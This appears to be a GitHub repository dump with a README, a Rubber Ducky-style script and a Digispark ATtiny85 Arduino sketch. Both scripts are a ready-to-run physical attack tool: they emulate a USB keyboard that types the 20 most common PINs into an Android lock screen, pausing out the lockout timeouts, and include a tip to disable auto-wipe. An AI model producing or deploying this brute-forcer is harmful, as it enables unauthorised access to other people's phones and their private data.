├── 20_most_popular_Android_PINs.as ├── 20_most_popular_Android_PINs.ino └── README.md /20_most_popular_Android_PINs.as: -------------------------------------------------------------------------------- 1 | REM The rubber ducky script tests 20 most popular 4 digit mobile phone PINs in 6 minutes. These data are based on the result of a academic research https://arxiv.org/abs/2003.04868. Don't try this on an iPhone, they implemente different security model, where after 10 incorrect passcodes it will be locked. This script might not work correctly on every Android. Make sure you have disabled auto wipe after some inccorect PIN attempts. 2 | 3 | DISPLAY_CLEAR 4 | LED 255 0 0 255 5 | DISPLAY_TEXT 0 20 1234 6 | DELAY 500 7 | STRING 1234 8 | DELAY 500 9 | ENTER 10 | DELAY 200 11 | DISPLAY_CLEAR 12 | LED 100 0 0 255 13 | DISPLAY_TEXT 0 20 7777 14 | STRING 7777 15 | DELAY 500 16 | ENTER 17 | DELAY 200 18 | DISPLAY_CLEAR 19 | LED 150 0 0 255 20 | DISPLAY_TEXT 0 20 0000 21 | STRING 0000 22 | DELAY 500 23 | ENTER 24 | DELAY 200 25 | DISPLAY_CLEAR 26 | LED 200 0 0 255 27 | DISPLAY_TEXT 0 20 1212 28 | STRING 1212 29 | DELAY 500 30 | ENTER 31 | DELAY 200 32 | DISPLAY_CLEAR 33 | LED 255 0 0 255 34 | DISPLAY_TEXT 0 20 1111 35 | STRING 1111 36 | DELAY 500 37 | ENTER 38 | 39 | DISPLAY_CLEAR 40 | LED 50 0 0 255 41 | DISPLAY_TEXT 0 20 timeout 42 | DELAY 31000 43 | 44 | DISPLAY_CLEAR 45 | LED 50 0 0 255 46 | DISPLAY_TEXT 0 20 1004 47 | DELAY 200 48 | STRING 1004 49 | DELAY 500 50 | ENTER 51 | DELAY 200 52 | DISPLAY_CLEAR 53 | LED 100 0 0 255 54 | DISPLAY_TEXT 0 20 2000 55 | STRING 2000 56 | DELAY 500 57 | ENTER 58 | DELAY 200 59 | DISPLAY_CLEAR 60 | LED 150 0 0 255 61 | DISPLAY_TEXT 0 20 4444 62 | STRING 4444 63 | DELAY 500 64 | ENTER 65 | DELAY 200 66 | DISPLAY_CLEAR 67 | LED 200 0 0 255 68 | DISPLAY_TEXT 0 20 2222 69 | STRING 2222 70 | DELAY 500 71 | ENTER 72 | DELAY 200 73 | DISPLAY_CLEAR 74 | LED 255 0 0 255 75 | DISPLAY_TEXT 0 20 6969 76 | STRING 6969 77 | DELAY 500 78 | ENTER 79 | 80 | DISPLAY_CLEAR 81 | LED 50 0 0 255 82 | DISPLAY_TEXT 0 20 timeout 83 | DELAY 31000 84 | 85 | DISPLAY_CLEAR 86 | LED 50 0 0 255 87 | DISPLAY_TEXT 0 20 9999 88 | DELAY 200 89 | STRING 9999 90 | DELAY 500 91 | ENTER 92 | DELAY 200 93 | DISPLAY_CLEAR 94 | LED 100 0 0 255 95 | DISPLAY_TEXT 0 20 3333 96 | STRING 3333 97 | DELAY 500 98 | ENTER 99 | 100 | DISPLAY_CLEAR 101 | LED 50 0 0 255 102 | DISPLAY_TEXT 0 20 timeout 103 | DELAY 31000 104 | 105 | DELAY 200 106 | DISPLAY_CLEAR 107 | LED 150 0 0 255 108 | DISPLAY_TEXT 0 20 5555 109 | STRING 5555 110 | DELAY 500 111 | ENTER 112 | DELAY 200 113 | DISPLAY_CLEAR 114 | LED 200 0 0 255 115 | DISPLAY_TEXT 0 20 6666 116 | STRING 6666 117 | DELAY 500 118 | ENTER 119 | 120 | DISPLAY_CLEAR 121 | LED 50 0 0 255 122 | DISPLAY_TEXT 0 20 timeout 123 | DELAY 31000 124 | 125 | DELAY 200 126 | DISPLAY_CLEAR 127 | LED 150 0 0 255 128 | DISPLAY_TEXT 0 20 1122 129 | STRING 1122 130 | DELAY 500 131 | ENTER 132 | DELAY 200 133 | DISPLAY_CLEAR 134 | LED 200 0 0 255 135 | DISPLAY_TEXT 0 20 8888 136 | STRING 8888 137 | DELAY 500 138 | ENTER 139 | 140 | DISPLAY_CLEAR 141 | LED 50 0 0 255 142 | DISPLAY_TEXT 0 20 timeout 143 | DELAY 31000 144 | 145 | DELAY 200 146 | DISPLAY_CLEAR 147 | LED 150 0 0 255 148 | DISPLAY_TEXT 0 20 4321 149 | STRING 4321 150 | DELAY 500 151 | ENTER 152 | DELAY 200 153 | DISPLAY_CLEAR 154 | LED 200 0 0 255 155 | DISPLAY_TEXT 0 20 2001 156 | STRING 2001 157 | DELAY 500 158 | ENTER 159 | 160 | DISPLAY_CLEAR 161 | LED 50 0 0 255 162 | DISPLAY_TEXT 0 20 timeout 163 | DELAY 31000 164 | 165 | DELAY 200 166 | DISPLAY_CLEAR 167 | LED 150 0 0 255 168 | DISPLAY_TEXT 0 20 1010 169 | STRING 1010 170 | DELAY 500 171 | ENTER -------------------------------------------------------------------------------- /20_most_popular_Android_PINs.ino: -------------------------------------------------------------------------------- 1 | #include "DigiKeyboard.h" 2 | 3 | // The scrip will test top 20 common pins in 6 minutes on Android device (https://www.pocket-lint.com/phones/news/148224-these-are-the-20-most-common-phone-pins-is-your-device-vulnerable/) 4 | // Video demonstration: https://www.instagram.com/p/CnMnHMnvjDw/ 5 | 6 | void setup() {} 7 | 8 | void loop() { 9 | DigiKeyboard.sendKeyStroke(0); 10 | DigiKeyboard.delay(500); 11 | DigiKeyboard.sendKeyStroke(44); 12 | DigiKeyboard.delay(500); 13 | DigiKeyboard.sendKeyStroke(44); 14 | DigiKeyboard.delay(500); 15 | DigiKeyboard.print("1234"); 16 | DigiKeyboard.delay(800); 17 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 18 | DigiKeyboard.delay(500); 19 | DigiKeyboard.print("1111"); 20 | DigiKeyboard.delay(800); 21 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 22 | DigiKeyboard.delay(500); 23 | DigiKeyboard.print("0000"); 24 | DigiKeyboard.delay(800); 25 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 26 | DigiKeyboard.delay(500); 27 | DigiKeyboard.print("1212"); 28 | DigiKeyboard.delay(800); 29 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 30 | DigiKeyboard.delay(500); 31 | DigiKeyboard.print("7777"); 32 | DigiKeyboard.delay(800); 33 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 34 | DigiKeyboard.delay(500); 35 | DigiKeyboard.print("x"); 36 | DigiKeyboard.delay(500); 37 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 38 | DigiKeyboard.delay(10000); 39 | DigiKeyboard.sendKeyStroke(44); 40 | DigiKeyboard.delay(500); 41 | DigiKeyboard.sendKeyStroke(44); 42 | DigiKeyboard.delay(10000); 43 | DigiKeyboard.sendKeyStroke(44); 44 | DigiKeyboard.delay(500); 45 | DigiKeyboard.sendKeyStroke(44); 46 | DigiKeyboard.delay(8500); 47 | DigiKeyboard.delay(500); 48 | DigiKeyboard.print("1004"); 49 | DigiKeyboard.delay(800); 50 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 51 | DigiKeyboard.delay(500); 52 | DigiKeyboard.print("2000"); 53 | DigiKeyboard.delay(800); 54 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 55 | DigiKeyboard.delay(500); 56 | DigiKeyboard.print("4444"); 57 | DigiKeyboard.delay(800); 58 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 59 | DigiKeyboard.delay(500); 60 | DigiKeyboard.print("2222"); 61 | DigiKeyboard.delay(800); 62 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 63 | DigiKeyboard.delay(500); 64 | DigiKeyboard.print("6969"); 65 | DigiKeyboard.delay(800); 66 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 67 | DigiKeyboard.delay(500); 68 | DigiKeyboard.print("x"); 69 | DigiKeyboard.delay(500); 70 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 71 | DigiKeyboard.delay(10000); 72 | DigiKeyboard.sendKeyStroke(44); 73 | DigiKeyboard.delay(500); 74 | DigiKeyboard.sendKeyStroke(44); 75 | DigiKeyboard.delay(10000); 76 | DigiKeyboard.sendKeyStroke(44); 77 | DigiKeyboard.delay(500); 78 | DigiKeyboard.sendKeyStroke(44); 79 | DigiKeyboard.delay(8500); 80 | DigiKeyboard.delay(500); 81 | DigiKeyboard.print("9999"); 82 | DigiKeyboard.delay(800); 83 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 84 | DigiKeyboard.delay(500); 85 | DigiKeyboard.print("x"); 86 | DigiKeyboard.delay(500); 87 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 88 | DigiKeyboard.delay(10000); 89 | DigiKeyboard.sendKeyStroke(44); 90 | DigiKeyboard.delay(500); 91 | DigiKeyboard.sendKeyStroke(44); 92 | DigiKeyboard.delay(10000); 93 | DigiKeyboard.sendKeyStroke(44); 94 | DigiKeyboard.delay(500); 95 | DigiKeyboard.sendKeyStroke(44); 96 | DigiKeyboard.delay(8500); 97 | DigiKeyboard.delay(500); 98 | DigiKeyboard.print("3333"); 99 | DigiKeyboard.delay(800); 100 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 101 | DigiKeyboard.delay(500); 102 | DigiKeyboard.print("x"); 103 | DigiKeyboard.delay(500); 104 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 105 | DigiKeyboard.delay(10000); 106 | DigiKeyboard.sendKeyStroke(44); 107 | DigiKeyboard.delay(500); 108 | DigiKeyboard.sendKeyStroke(44); 109 | DigiKeyboard.delay(10000); 110 | DigiKeyboard.sendKeyStroke(44); 111 | DigiKeyboard.delay(500); 112 | DigiKeyboard.sendKeyStroke(44); 113 | DigiKeyboard.delay(8500); 114 | DigiKeyboard.delay(500); 115 | DigiKeyboard.print("5555"); 116 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 117 | DigiKeyboard.delay(500); 118 | DigiKeyboard.print("x"); 119 | DigiKeyboard.delay(500); 120 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 121 | DigiKeyboard.delay(10000); 122 | DigiKeyboard.sendKeyStroke(44); 123 | DigiKeyboard.delay(500); 124 | DigiKeyboard.sendKeyStroke(44); 125 | DigiKeyboard.delay(10000); 126 | DigiKeyboard.sendKeyStroke(44); 127 | DigiKeyboard.delay(500); 128 | DigiKeyboard.sendKeyStroke(44); 129 | DigiKeyboard.delay(8500); 130 | DigiKeyboard.delay(500); 131 | DigiKeyboard.print("6666"); 132 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 133 | DigiKeyboard.delay(500); 134 | DigiKeyboard.print("x"); 135 | DigiKeyboard.delay(500); 136 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 137 | DigiKeyboard.delay(10000); 138 | DigiKeyboard.sendKeyStroke(44); 139 | DigiKeyboard.delay(500); 140 | DigiKeyboard.sendKeyStroke(44); 141 | DigiKeyboard.delay(10000); 142 | DigiKeyboard.sendKeyStroke(44); 143 | DigiKeyboard.delay(500); 144 | DigiKeyboard.sendKeyStroke(44); 145 | DigiKeyboard.delay(8500); 146 | DigiKeyboard.delay(500); 147 | DigiKeyboard.print("1122"); 148 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 149 | DigiKeyboard.delay(500); 150 | DigiKeyboard.print("x"); 151 | DigiKeyboard.delay(500); 152 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 153 | DigiKeyboard.delay(10000); 154 | DigiKeyboard.sendKeyStroke(44); 155 | DigiKeyboard.delay(500); 156 | DigiKeyboard.sendKeyStroke(44); 157 | DigiKeyboard.delay(10000); 158 | DigiKeyboard.sendKeyStroke(44); 159 | DigiKeyboard.delay(500); 160 | DigiKeyboard.sendKeyStroke(44); 161 | DigiKeyboard.delay(8500); 162 | DigiKeyboard.delay(500); 163 | DigiKeyboard.print("1313"); 164 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 165 | DigiKeyboard.delay(500); 166 | DigiKeyboard.print("x"); 167 | DigiKeyboard.delay(500); 168 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 169 | DigiKeyboard.delay(10000); 170 | DigiKeyboard.sendKeyStroke(44); 171 | DigiKeyboard.delay(500); 172 | DigiKeyboard.sendKeyStroke(44); 173 | DigiKeyboard.delay(10000); 174 | DigiKeyboard.sendKeyStroke(44); 175 | DigiKeyboard.delay(500); 176 | DigiKeyboard.sendKeyStroke(44); 177 | DigiKeyboard.delay(8500); 178 | DigiKeyboard.delay(500); 179 | DigiKeyboard.print("8888"); 180 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 181 | DigiKeyboard.delay(500); 182 | DigiKeyboard.print("x"); 183 | DigiKeyboard.delay(500); 184 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 185 | DigiKeyboard.delay(10000); 186 | DigiKeyboard.sendKeyStroke(44); 187 | DigiKeyboard.delay(500); 188 | DigiKeyboard.sendKeyStroke(44); 189 | DigiKeyboard.delay(10000); 190 | DigiKeyboard.sendKeyStroke(44); 191 | DigiKeyboard.delay(500); 192 | DigiKeyboard.sendKeyStroke(44); 193 | DigiKeyboard.delay(8500); 194 | DigiKeyboard.delay(500); 195 | DigiKeyboard.print("4321"); 196 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 197 | DigiKeyboard.delay(500); 198 | DigiKeyboard.print("x"); 199 | DigiKeyboard.delay(500); 200 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 201 | DigiKeyboard.delay(10000); 202 | DigiKeyboard.sendKeyStroke(44); 203 | DigiKeyboard.delay(500); 204 | DigiKeyboard.sendKeyStroke(44); 205 | DigiKeyboard.delay(10000); 206 | DigiKeyboard.sendKeyStroke(44); 207 | DigiKeyboard.delay(500); 208 | DigiKeyboard.sendKeyStroke(44); 209 | DigiKeyboard.delay(8500); 210 | DigiKeyboard.delay(500); 211 | DigiKeyboard.print("2001"); 212 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 213 | DigiKeyboard.delay(500); 214 | DigiKeyboard.print("x"); 215 | DigiKeyboard.delay(500); 216 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 217 | DigiKeyboard.delay(10000); 218 | DigiKeyboard.sendKeyStroke(44); 219 | DigiKeyboard.delay(500); 220 | DigiKeyboard.sendKeyStroke(44); 221 | DigiKeyboard.delay(10000); 222 | DigiKeyboard.sendKeyStroke(44); 223 | DigiKeyboard.delay(500); 224 | DigiKeyboard.sendKeyStroke(44); 225 | DigiKeyboard.delay(8500); 226 | DigiKeyboard.delay(500); 227 | DigiKeyboard.print("1010"); 228 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 229 | DigiKeyboard.delay(500); 230 | DigiKeyboard.delay(850000); 231 | } -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # DigisparkAttiny85-scripts 2 | Homeplace for Digispark Attiny85 scripts 3 | 4 | ### 20_most_popular_Android_PINs 5 | The script tests 20 most popular mobile phone PINs in 6 minutes using Digispark ATtiny85 board. These data are based on the result of a academic research https://arxiv.org/abs/2003.04868. 6 | Don't try this on an iPhone, they implemente different security model, where after 10 incorrect passcodes it will be locked. 7 | --------------------------------------------------------------------------------